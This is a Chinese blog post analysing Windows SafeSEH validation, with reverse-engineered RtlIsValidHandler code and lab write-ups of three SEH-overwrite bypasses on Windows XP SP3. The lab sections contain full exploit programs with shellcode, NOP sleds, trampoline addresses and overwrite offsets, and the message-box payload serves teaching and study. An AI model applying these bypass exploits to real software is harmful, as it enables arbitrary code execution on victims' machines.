SafeSEH机制分析报告

SafeSEH机制分析报告

SafeSEH概述

​ Windows XP SP2之后提出,在程序调用异常处理函数前,对要调用的异常处理函数进 行一系列的有效性校验,当发现异常处理函数不可靠时将终止异常处理函数的调用

​ 当开启SafeSEH链接选项时,将异常处理信息存放在IMAGE_LOAD_CONFIG_DIRECTORY的SEHHandlerTable中(如果该IMAGE是不支持SafeSEH的,则这个SEH函数表的地址为0)。

​ 加载PE文件时,定位和读出合法SEH函数表的地址,并使用共享内存中的一个随机数加密。将加密后的SEH函数表地址,IMAGE的开始地址,IMAGE的长度,合法SEH函数的个数,作为一条记录放入ntdll(ntdll模块是进行异常分发的模块)的加载模块数据内存中

SafeSEH的开启

​ 在VS中启用/SafeSEH 链接选项

image-20240302171340913

​ 开启之后使用DetectItEasy查看PE文件,可见OptionalHeader.DllCharacteristics不为IMAGE_DLLCHARACTERISTICS_NO_SEH(0x400),且IMAGE_LOAD_CONFIG_DIRECTORY的SEHandlerTable和SEHandlerCount均有值

image-20240302171407618

image-20240302171431967

SafeSEH的实现

分析文件:Windows 7 x86 ntdll.dll文件逆向。所以流程可能和书上有细微差别,但是大致框架都是一样的

1.原理总结

​ 启用该链接选项后,编译器在编译程序的时候将程序所有的异常处理函数地址提取出 来,编入一张安全 S.E.H 表,并将这张表放到程序的映像里面。当程序调用异常处理函数的时 候会将函数地址与安全 S.E.H 表进行匹配,检查调用的异常处理函数是否位于安全 S.E.H 表中

2.RtlDispatchException()函数处理实现

1.检查异常处理链是否位于当前程序的栈中

2.检查异常处理函数指针是否指向当前程序的栈中

3.调用 RtlIsValidHandler(),对异常处理函数的有效性进行验证

​ 该函数判断异常处理函数地址是不是在加载模块的内存空间,如果属于加载模块的内存空间,校验函数将依次进行如下校验

1)RtlIsValidHandler校验流程

​ 判断异常处理函数的地址是否包含在加载模块的内存空间中

在加载模块的内存空间中

1.判断是否有IMAGE_DLLCHARACTERISTICS_NO_SEH标志,若已设置将FunctionTable和FunctionTableLength都设为-1

if (NtHeaders->OptionalHeader.DllCharacteristics & IMAGE_DLLCHARACTERISTICS_NO_SEH) {
    // No SEH possible.
    *FunctionTable = (PCHAR)LongToPtr(-1);
    *TableSize = (ULONG)-1;
} 

2.判断程序是否设置 ILonly 标识,若设置,将FunctionTable和FunctionTableLength都设为-1

Cor20Header = RtlImageDirectoryEntryToData(Base,
                                           TRUE,
                                           IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR,
                                           &Cor20HeaderSize);
if (Cor20Header && ((Cor20Header->Flags & COMIMAGE_FLAGS_ILONLY) == COMIMAGE_FLAGS_ILONLY)) {
    // No SEH possible.
    *FunctionTable = (PCHAR)LongToPtr(-1);
    *TableSize = (ULONG)-1;
} 

3.获取程序的安全SEH表

4.将当前的异常处理函数地址与该表进行匹配,匹配成功则返回校验成功

不在加载模块的内存空间中

1.若未开启DEP且MEM_EXECUTE_OPTION_EXECUTE_DISPATCH_ENABLE | MEM_EXECUTE_OPTION_IMAGE_DISPATCH_ENABLE,直接返回TRUE

if ((ProcessInformation & 0x30) == 0x30 )
	return 1;

2.若该处代码页位于不可执行段,但有MEM_EXECUTE_OPTION_EXECUTE_DISPATCH_ENABLE标志,也可返回TRUE

if ((MemoryInformation.Protect & 0xF0) == 0)
{
	//若MEM_EXECUTE_OPTION_EXECUTE_DISPATCH_ENABLE=1 返回TRUE
	if ((ProcessInformation & MEM_EXECUTE_OPTION_EXECUTE_DISPATCH_ENABLE) == 0)
	{
		RtlInvalidHandlerDetected(Handler, -2, -2);
		return 0;
	}
	return 1;
}

3.如果处于可执行段,再检查是否是映像文件,若不属于映像文件,但是MEM_EXECUTE_OPTION_IMAGE_DISPATCH_ENABLE标志也可以返回TRUE

if (MemoryInformation.Type == SEC_IMAGE)
{
	RtlCaptureImageExceptionValues(v10, &FunctionTable, &FunctionTableLength);
	return !v15 || !FunctionTableLength;
}
return (ProcessInformation & MEM_EXECUTE_OPTION_IMAGE_DISPATCH_ENABLE) != 0;

image-20240302171506692

2)RtlIsValidHandler函数分析

BOOL __stdcall RtlIsValidHandler(PEXCEPTION_ROUTINE Handler, int ProcessInformation)
{
	void* v10;
	PULONG v15;

	PULONG FunctionTable;
	ULONG FunctionTableLength;
	PVOID Base;
	ULONG HandlerRVA;
	MEMORY_BASIC_INFORMATION MemoryInformation;
	ULONG ReturnLength;

    //1.判断异常处理函数的地址是否包含在加载模块的内存空间中
    //在模块范围内
    //2.调用RtlCaptureImageExceptionValues判断是否有IMAGE_DLLCHARACTERISTICS_NO_SEH标志,若没有将FunctionTable和FunctionTableLength都设为-1。判断程序是否设置 ILonly 标识
    //3.获取程序的安全SEH表
	FunctionTable = RtlLookupFunctionTable(Handler, &Base, &FunctionTableLength);
    
	v15 = FunctionTable;
	
    //4.检测程序是否包含安全 S.E.H 表,将当前的异常处理函数地址与该表进行匹配,匹配成功则返回校验成功
	if (FunctionTable && FunctionTableLength) {
		PEXCEPTION_ROUTINE FunctionEntry;
		LONG High, Middle, Low;
		if (FunctionTable != (PULONG)-1 || FunctionTableLength != (ULONG)-1)
		{
			HandlerRVA = (ULONG)Handler - (ULONG)Base;
			Low = 0;
			High = FunctionTableLength;
			while (High >= Low) {
				Middle = (Low + High) >> 1;
				FunctionEntry = (PEXCEPTION_ROUTINE)FunctionTable[Middle];
				if ((PEXCEPTION_ROUTINE)HandlerRVA < FunctionEntry) {
					High = Middle - 1;
				}
				else if ((PEXCEPTION_ROUTINE)HandlerRVA > FunctionEntry) {
					Low = Middle + 1;
				}
				else {
					// found it
					return TRUE;
				}
			}
			RtlInvalidHandlerDetected((PVOID)((ULONG)Handler + (ULONG)Base), FunctionTable, FunctionTableLength);
		}
		return FALSE;
	}
	if (!ProcessInformation && ZwQueryInformationProcess(GetCurrentProcess(), ProcessExecuteFlags(0x22), &ProcessInformation, 4u, 0) < 0)
		ProcessInformation = 0;
    
    //若在模块范围外
    //5.若未开启DEP且MEM_EXECUTE_OPTION_EXECUTE_DISPATCH_ENABLE | MEM_EXECUTE_OPTION_IMAGE_DISPATCH_ENABLE,直接返回TRUE
    //MEM_EXECUTE_OPTION_EXECUTE_DISPATCH_ENABLE | MEM_EXECUTE_OPTION_IMAGE_DISPATCH_ENABLE
	if ((ProcessInformation & 0x30) == 0x30 || !NT_SUCCESS(NtQueryVirtualMemory(GetCurrentProcess(), Handler, 0, &MemoryInformation,sizeof(MEMORY_BASIC_INFORMATION), &ReturnLength)))
		return 1;
    
    /*
    	#define PAGE_EXECUTE            0x10  
		#define PAGE_EXECUTE_READ       0x20  
		#define PAGE_EXECUTE_READWRITE  0x40  
		#define PAGE_EXECUTE_WRITECOPY  0x80  
    */
    //6.若该处代码页位于不可执行段
	if ((MemoryInformation.Protect & 0xF0) == 0)
	{
        //若MEM_EXECUTE_OPTION_EXECUTE_DISPATCH_ENABLE=1 返回TRUE
		if ((ProcessInformation & MEM_EXECUTE_OPTION_EXECUTE_DISPATCH_ENABLE) == 0)
		{
			RtlInvalidHandlerDetected(Handler, -2, -2);
			return 0;
		}
		return 1;
	}
    //7.如果处于可执行段,再检查是否是映像文件,不属于映像文件,但是ImageDispatchEnable置为1也可以执行
	if (MemoryInformation.Type == SEC_IMAGE)
	{
		RtlCaptureImageExceptionValues(v10, &FunctionTable, &FunctionTableLength);
		return !v15 || !FunctionTableLength;
	}
	return (ProcessInformation & MEM_EXECUTE_OPTION_IMAGE_DISPATCH_ENABLE) != 0;
}

绕过SafeSEH

注意:绕过部分参考《0day安全:软件漏洞分析技术(第2版)》,主要是自己实验了一下,根据环境重新调了一下地址,有些细节可能没有书上详细,这一部分可以结合书来看

RtlIsValidHandler()函数在哪些情况下允许异常处理函数执行

  1. 异常处理函数位于加载模块内存范围之外,DEP 关闭

  2. 异常处理函数位于加载模块内存范围之内,相应模块未启用 SafeSEH(安全 S.E.H 表 为空),同时相应模块不是纯 IL

  3. 异常处理函数位于加载模块内存范围之内,相应模块启用 SafeSEH(安全 S.E.H 表不 为空),异常处理函数地址包含在安全 S.E.H 表中

绕过SafeSEH的思路(前三种对应RtlIsValidHandler函数的三种情况)

  1. 排除 DEP 干扰后,我们只需在加载模块内存范围之外找到一个跳板指令就可以转入 shellcode 执行
  2. 可以利用未启用 SafeSEH 模块中的指令作为跳板,转入 shellcode 执行
  3. 两个思路,一是清空安全 S.E.H 表,造成该模块未启用SafeSEH的假象;二是将指令注册到安全 S.E.H 表中。但安全 S.E.H 表的信息在内存中是加密存放的,所以突破它的可能性不大
  4. 不攻击 S.E.H:覆盖返回地址或者虚函数表等信息
  5. 如果 S.E.H 中的异常函数指针指向堆区,即使安全校验发现了 S.E.H 已经不可信,仍然会调用其已被修改过的异常处理函数,因此只要将 shellcode 布置到堆区就可以直接跳转执行

1.攻击返回地址绕过 SafeSEH

​ 如果碰到一个程序,他启用了 SafeSEH 但是未启用 GS,或者启用了 GS 但是刚好被攻击的函数没有 GS 保护,直接攻击函数返回地址

限制:概率较小,普适性较低

2.利用虚函数绕过 SafeSEH

​ 通过攻击虚函数表来劫持程序流程,不涉及任何异常处理

3.从堆中绕过 SafeSEH

​ 如果 S.E.H 中的异常函数指针指向堆区,即使安全校验发现了 S.E.H 已经不可信,仍然会调用其已被修改过的异常处理函数,将 shellcode 布置到堆区就可以直接跳转执行

实验环境

环境 环境设置
操作系统 Windows XP SP3
编译器 VS 2008
编译选项 禁用ASLR,禁用优化选项,禁用GS,禁用SDL检查,禁用DEP,禁用SEHOP,开启SafeSEH

绕过思路

​ 首先在堆中申请 500 字节的空间,用来存放 shellcode。通过向 str 复制超长字符串造成 str 溢出,进而覆盖程序的 S.E.H 信息。用 shellcode 在堆中的起始地址覆盖异常处理函数地址,然后通过制造除 0 异常,将程序转入异常处理,进而跳转到堆中的 shellcode 执行

实验过程

  1. 调试程序,得到申请的堆空间的地址,为0x003932E0

    image-20240302171635130

  2. 被溢出字符串地址为0x12FE44,而SEH处理函数在0x12FFA8+4处,需要364个字节才能覆盖掉异常处理函数指针

    image-20240302171653426

    image-20240302171709119

    SEH处理函数在0x12FFA8+4的位置

    image-20240302171726721

  3. 开始构造shellcode

    先放入弹出对话框的机器码,中间填充0x90,在361-364字节处放入shellcode在堆中的起始地址

  4. 整体代码如下:

    #include <stdlib.h>
    #include <string.h>
    char shellcode[]=
    "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
    "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
    "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
    "\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
    "\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
    "\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
    "\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
    "\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
    "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
    "\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
    "\x53\xFF\x57\xFC\x53\xFF\x57\xF8"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\xE0\x32\x39\x00"//address of shellcode in heap
    ;
    
    void test(char * input)
    {
    	
    	char str[200];
    	strcpy(str,input);	
        int zero=0;
    	zero=1/zero;
    }
    
    void main()
    {
    	char * buf=(char *)malloc(500);
    	__asm int 3
    	strcpy(buf,shellcode);
    	test(shellcode);	
    }
    

测试结果

image-20240302171748369

4.利用未启用 SafeSEH 的模块

​ 构建一个不启用 SafeSEH 的 dll,然后将其加载,并通过它里面的指令作为跳板实现 SafeSEH 的绕过

实验环境

环境 环境设置
操作系统 Windows XP SP3
EXE编译器 VS 2008
DLL编译器 VC6.0 将 dll 基址设置为 0x11120000
编译选项 禁用ASLR,禁用优化选项,禁用GS,禁用SDL检查,禁用DEP,禁用SEHOP,开启SafeSEH

绕过思路

  1. 用 VC++ 6 .0 编译一个不使用 SafeSEH 的动态链接库 SEH_NOSafeSEH_JUMP.DLL, 由启用 SafeSEH 的应用程序 SEH_NOSafeSEH.EXE 去加载它。
  2. SEH_NOSafeSEH程序中的 test 函数存在典型的溢出,覆盖程序的 S.E.H 信息。 使用 SEH_NOSafeSEH_JUMP.DLL 中的“pop pop retn”指令地址覆盖异常处理函数地址,然后通过制造除 0 异常,将程序转入异常处理。
  3. 通过劫持异常处理流程,程序转入 SEH_NOSaeSEH_JUMP.DLL 中执行“pop pop retn”指令,在执行 retn 后程序转入 shellcode 执行

实验过程

  1. 使用VC++ 6.0 建立一个 Win32 的动态链接库

    image-20240302171808056

  2. VC++ 6.0编译的DLL默认加载基址为0x10000000,如果以它作为 DLL 的加载基址,DLL中“pop pop retn”指令地址中可能会包含 0x00,这样进行strcpy操作时会将字符串截断影响shellcode的复制,所以选择“工程→设置”,切换到“连接”选项卡,在“工程选项”的输入框中添加“/base:"0x11120000"”即可

  3. 编译好后将 SEH_NOSafeSEH_JUMP.DLL 复制到 SEH_NOSafeSEH.EXE 目录下,在主程序中加载该DLL文件,利用OllyDbg的插件OllySSEH查看SafeSEH的开启情况,可见主程序具有SafeSEH,加载的SEH_NOSafeSEH_JUMP.DLL不具有SafeSEH

    image-20240302171828201

    OllySSEH 对于 SafeSEH 的描述有四种:

    1)/SafeSEH OFF,未启用 SafeSEH,这种模块可以作为跳板

    2)/SafeSEH ON,启用 SafeSEH,可以使用右键点击查看 S.E.H 注册情况

    3)No SEH,不支持 SafeSEH,即 IMAGE_DLLCHARACTERISTICS_ NO_SEH 标志位被设置,模块内的异常会被忽略,所以不能作为跳板

    4)Error,读取错误

  4. 转入 SEH_NOSafeSEH_JUMP.DLL 寻找可以使用的“pop pop retn”指令序列,选择0x11121068作为跳板

    image-20240302171845531

  5. 被溢出字符串地址为0x12FD64,而SEH处理函数在0x12FE34+4处,计算被溢出字符串到最近的异常处理函数指针的距离,为216个字节

    image-20240302171900561

    被溢出字符串地址为0x12FE44

    image-20240302171914022

  6. 构造shellcode,shellcode 最开始部分为 212 个字节的 0x90 填充;在 213-216 位置用前面在 SEH_NOSafeSEH_JUMP.DLL 中找到的跳 板地址 0x11121068覆盖;然后再跟上 8 个字节的 0x90 填充;最后附上弹出“failwest” 对话框的机器码

  7. 程序整体代码如下

    #include "stdafx.h"
    BOOL APIENTRY DllMain( HANDLE hModule, 
                           DWORD  ul_reason_for_call, 
                           LPVOID lpReserved
    					 )
    {
        return TRUE;
    }
    
    void jump() 
    { 
    	__asm{ 
     		pop eax 
    		pop eax 
     		retn 
     	} 
    } 
    
    #include <stdio.h>
    #include <tchar.h>
    #include <string.h>
    #include <windows.h>
    char shellcode[]=
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90"
    "\x68\x10\x12\x11"//address of pop pop retn in No_SafeSEH module
    "\x90\x90\x90\x90\x90\x90\x90\x90"
    "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
    "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
    "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
    "\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
    "\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
    "\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
    "\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
    "\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
    "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
    "\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
    "\x53\xFF\x57\xFC\x53\xFF\x57\xF8"
    ;
    
    DWORD MyException(void)
    {
    	printf("There is an exception");
    	getchar();
    	return 1;
    }
    void test(char * input)
    {
    	char str[200];
    	strcpy(str,input);	
        int zero=0;
    	__try
    	{
    	    zero=1/zero;
    	}
    	__except(MyException())
    	{
    	}
    }
    int _tmain(int argc, _TCHAR* argv[])
    {
    	HINSTANCE hInst = LoadLibrary(_T("SEH_NoSafeSEH_JUMP.dll"));//load No_SafeSEH module
    	char str[200];
    	__asm int 3
    	test(shellcode);
    	return 0;
    }
    

测试结果

image-20240302171934850

5.利用加载模块之外的地址

​ 当程序加载到内存中后,在它所占的整个内存空间中,除了PE 文件模块 (EXE 和 DLL)外,还有其他一些映射文件,可以通过 OllyDbg 的“view→memory”查看程序的内存映射状态。例如,类型为 Map 的映射文件,SafeSEH 是无视它们的, 当异常处理函数指针指向这些地址范围内时,不对其进行有效性验证,所以如果可以在这些文件中找到跳转指令的话就可以绕过 SafeSEH

跳板地址如下

call/jmpdword ptr[esp+0x8] 
call/jmpdword ptr[esp+0x14] 
call/jmpdword ptr[esp+0x1c] 
call/jmpdword ptr[esp+0x2c] 
call/jmpdword ptr[esp+0x44] 
call/jmpdword ptr[esp+0x50] 
call/jmp dword ptr[ebp+0xc] 
call/jmp dword ptr[ebp+0x24] 
call/jmp dword ptr[ebp+0x30] 
call/jmp dword ptr[ebp-0x4] 
call/jmp dword ptr[ebp-0xc] 
call/jmp dword ptr[ebp-0x18]

实验环境

环境 环境设置
操作系统 Windows XP SP3
EXE编译器 VS 2008
编译选项 禁用ASLR,禁用优化选项,禁用GS,禁用SDL检查,禁用DEP,禁用SEHOP,开启SafeSEH

绕过思路

​ Test函数中存在一个典型的溢出,通过向 str 复制超长字符串造成 str 溢出,覆盖程序的 S.E.H 信息。将异常处理函数指针覆盖为加载模块外的地址来实现对 SafeSEH 的绕过,然后通过除 0 触发异常将程序转入异常处理,进而劫持程序流程

实验过程

  1. 利用OllyDbg的插件OllyFindAddr查找跳板指令:Plugins→OllyFindAddr→Overflow return address→Find CALL/JMP [EBP+N],注意该跳板指令不能在任何加载模块内,在 0x00280B0B 处找到了一条 call [ ebp+0x30]的指令

    image-20240302172005473

  2. 使用0x00290B0B作为跳板,这个地址中包含着 0x00,意味着在字符串复制的时候 0x00 之后的内容都会被截断,所以不能将 shellcode 的关键部分放到跳板后边,所以将SEH处理函数处覆盖为短跳转指令跳转到长跳转指令处,再长跳转至shellcode位置处

    image-20240302172023267

  3. 被溢出字符串起始地址为,0x0012FE30,SEH处理函数地址为0x0012FF00+4处,两者相距216个字节

    image-20240302172044923

  4. 构造shellcode代码,前200字节放置弹出对话框的机器码和0x90,201-208字节放置长跳转指令和0x90,209-212放置短跳转指令,第213-216字节处放置跳板指令的地址

  5. 整体代码如下:

    #include <stdio.h>
    #include <tchar.h>
    #include <string.h>
    #include <windows.h>
    
    char shellcode[] =
    "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
    "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
    "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
    "\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
    "\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
    "\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
    "\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
    "\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
    "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
    "\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
    "\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90"
    "\xE9\x33\xFF\xFF\xFF\x90\x90\x90"// machine code of far jump and \x90
    "\xEB\xF6\x90\x90"// machine code of short jump and \x90
    "\x0B\x0B\x28\x00"// address of call [ebp+30] in outside memory
    ;
    
    DWORD MyException(void)
    {
    	printf("There is an exception");
    	getchar();
    	return 1;
    }
    void test(char * input)
    {
    	char str[200];
    	strcpy(str,input);	
       	__asm int 3
        int zero=0;
    	__try
    	{
    	    zero=1/zero;
    	}
    	__except(MyException())
    	{
    	}
    }
    int _tmain(int argc, _TCHAR* argv[])
    {
    	__asm int 3
    	test(shellcode);
    	return 0;
    }
    

测试结果

参考

​ Windows7 x86 ntdll.dll源码逆向分析

​ Windos2003 Source Insight源码分析

​ 《0day安全:软件漏洞分析技术(第2版)》

posted @ 2024-03-02 17:43  修竹Kirakira  阅读(14)  评论(0编辑  收藏  举报